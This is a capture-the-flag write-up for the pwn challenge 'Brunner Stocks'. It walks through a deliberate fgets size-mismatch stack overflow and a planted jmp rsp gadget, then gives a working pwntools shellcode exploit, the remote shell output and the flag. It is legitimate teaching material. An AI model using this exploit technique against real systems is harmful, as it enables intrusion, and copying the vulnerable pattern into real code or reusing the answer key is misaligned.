Brunner Stocks
- Category: pwn
- Difficulty: Easy-Medium
- Author: Vincent
Brunnerne Inc.’s automated stock trading algorithm asks a short investment-preferences survey before trading for you.
Solution:
1. Spot the bug in the source
We’re given the binary, stocks.c, and the Dockerfile. Two things stand out immediately:
float askf(char *prompt) {
printf("%s (0.0-100.0): ", prompt);
char buf[0x10];
fgets(buf, 0x100, stdin); // buf is 16 bytes, but fgets is told 256
return atof(buf);
}
void gadget() {
__asm__("jmp %rsp; ret;"); // never called anywhere
}
askf() declares a 16-byte buffer but tells fgets the destination is 256 bytes — a size-mismatch stack overflow. gadget() is dead code containing a raw jmp rsp, clearly hand-placed by the author as a pivot.
2. Check binary protections
$ checksec --file=stocks
Stack: No canary found
NX: NX enabled on new kernels
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
No canary and no PIE make the overflow trivial to weaponize, and the stack is executable. That last part isn’t a build mistake — main() defines ai_alg/real_alg as GCC nested functions, and GCC implements those on x86-64 with runtime trampolines assembled directly onto the stack, which forces the whole binary to link with an executable stack. That’s exactly the primitive gadget() relies on.
3. Find the offset
askf() disassembly:
4011aa: sub rsp,0x20
4011cf: lea rax,[rbp-0x10] ; &buf
4011d3: mov esi,0x100 ; size = 0x100 <-- bug
4011db: call 401070 <fgets@plt>
buf sits at [rbp-0x10]. Offset to the saved return address = 0x10 (buf) + 0x8 (saved rbp) = 24 bytes. askf() is also the very first thing main() calls, so we can hijack control flow before any other logic runs.
4. Line up the pivot
gadget() disassembly:
401593: push rbp
401594: mov rbp,rsp
401597: jmp rsp ; <-- want to land here
401599: ret
Targeting 0x401593 would execute push rbp first, shifting rsp by 8 and corrupting the very spot we’re jumping into. Targeting 0x401597 directly skips the prologue: when askf()’s ret pops our fake return address, rsp points straight at whatever bytes follow it in our input — jmp rsp lands right on our shellcode.
5. Exploit
#!/usr/bin/env python3
from pwn import *
import sys
context.binary = elf = ELF("./stocks")
HOST = "brunner-stocks-38a14ea4c31e755c-global.challs.brunnerne.xyz"
PORT = 1337
OFFSET = 24 # buf(0x10) + saved rbp(8) -> return address
JMP_RSP = 0x401597 # "jmp rsp" inside gadget(), skipping its prologue
def exploit(io):
shellcode = asm(shellcraft.sh())
payload = flat(
b"A" * OFFSET,
p64(JMP_RSP),
shellcode,
)
io.sendlineafter(b": ", payload)
io.interactive()
if __name__ == "__main__":
io = remote(HOST, PORT, ssl=True) if len(sys.argv) > 1 and sys.argv[1] == "remote" else process("./stocks")
exploit(io)
$ python3 exploit.py remote
[+] Opening connection to brunner-stocks-38a14ea4c31e755c-global.challs.brunnerne.xyz on port 1337: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
brunner{shellcoding_for_the_win}
No canary to guess, no PIE to leak — just the size-mismatch overflow plus the author’s own jmp rsp gadget, entered mid-function to dodge its clobbering prologue.
Flag: brunner{shellcoding_for_the_win}